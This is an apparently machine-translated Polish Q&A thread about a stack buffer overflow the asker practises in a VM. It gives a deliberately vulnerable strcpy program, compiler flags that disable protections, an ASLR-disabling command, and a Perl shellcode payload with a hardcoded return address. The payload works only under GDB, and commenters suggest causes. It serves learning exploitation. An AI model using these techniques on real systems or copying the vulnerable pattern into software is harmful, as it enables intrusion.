Przeczytałem o dawno temu w Bloku stosującym bufor przepełniony, ale postanowiłem skonfigurować wirtualną maszynę i faktycznie zobaczyć ją w praktyce.Przepełnienie bufora stosu: działa na GDB, nie jest poza nim
Poniższy kod był podatny Program:
#include<string.h>
void go(char *data){
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv){
go(argv[1]);
}
został skompilowany przy użyciu opcji -zexecstack
i -fno-stack-protector
na GCC zarówno pozwalają kod w stosie jest wykonywalny i wyłączyć program wbudowany w ochronie przepełnienie stosu (wartość "kanarka").
gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g
Potem użył GDB aby dowiedzieć się pozycję pamięci name
na stosie i znaleźć następujący adres: 0x7fffffffdc10
Ponieważ mój VM ma nowszą wersję Linux, musiałem wyłączyć ASLR (Randomizacja układu przestrzeni adresowej) przez uruchomienie: sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
lub sudo sysctl -w kernel.randomize_va_space=0
.
szelkod został zaczerpnięty z artykułu znalazłem w Internecie o Stos Smashing i wprowadzono do programu przez skrypt Perl: „Hax”
perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'
Będąc pierwszych 45 bajtów szelkod (rzekomo napisać na ekranie), kilka dodatkowych 27 "A" bajtów, aby uzyskać wskaźnik we właściwej pozycji, a na końcu adres początkowy ładunku w małym endianie.
Problem polega na:
Po uruchomieniu programu na GDB, poprzez: "Hax"
gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
mogę bieg szelkod i wydajność.
Podczas próby uruchomienia programu poza GDB jak
./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
otrzymam Illegal instruction (core dumped)
błąd zamiast „Hax!” wydajność.
Uderzyłem się w głowę, próbując dowiedzieć się, co jest przyczyną tego innego zachowania. Wygląda na to, że GDB domyślnie wyłącza ASLR, ale ja również wyłączyłem go przez sysctl
na jądrze. Czy jądro może ignorować zmienną kernel.randomize_va_space
? A może adres pamięci jest inny, nawet statyczny, na GDB i na rzeczywistym procesie? A może prawdziwy proces faktycznie uruchamia kod powłoki, ale coś dzieje się nie tak w rzeczywistym procesie, który GDB ignoruje/omija?
Jakieś pomysły, co może być przyczyną?
Czy próbowałeś skompilować jako kod 32-bitowy? (np. '-m32') Nie znam szczegółów, ale wiem, że x86_64 ma dodatkowe bariery utrudniające wykonanie pliku. (nie, nie wiem, dlaczego działa w GDB ':)' –
Czy to [NX] (https://en.wikipedia.org/wiki/NX_bit)? – Kevin
@ DavidC.Rankin Próbowałem po prostu skompilować go jako 32-bitowy, ale były pewne komplikacje w tym procesie. Po ponownym obliczeniu miejsca, w którym przechowywana była zawartość, musiałem ponownie przeliczyć liczbę ogólnych bajtów, które trzeba włożyć, aby dostać się do * zapisanego wskaźnika instrukcji *. Niespodziewanie musiałem wypełnić bufor większą liczbą bajtów w wersji 32-bitowej, niż się spodziewałem: Myślałem, że będę musiał wypełnić bufor 64 bajty + 4 bajty Zapisany wskaźnik stosu, ale do zapisania * wymagane jest 64 + 12 bajtów wskaźnik instrukcji *. Nawet więcej niż w wersji 64-bitowej (64 + 8 bajtów). – murphsghost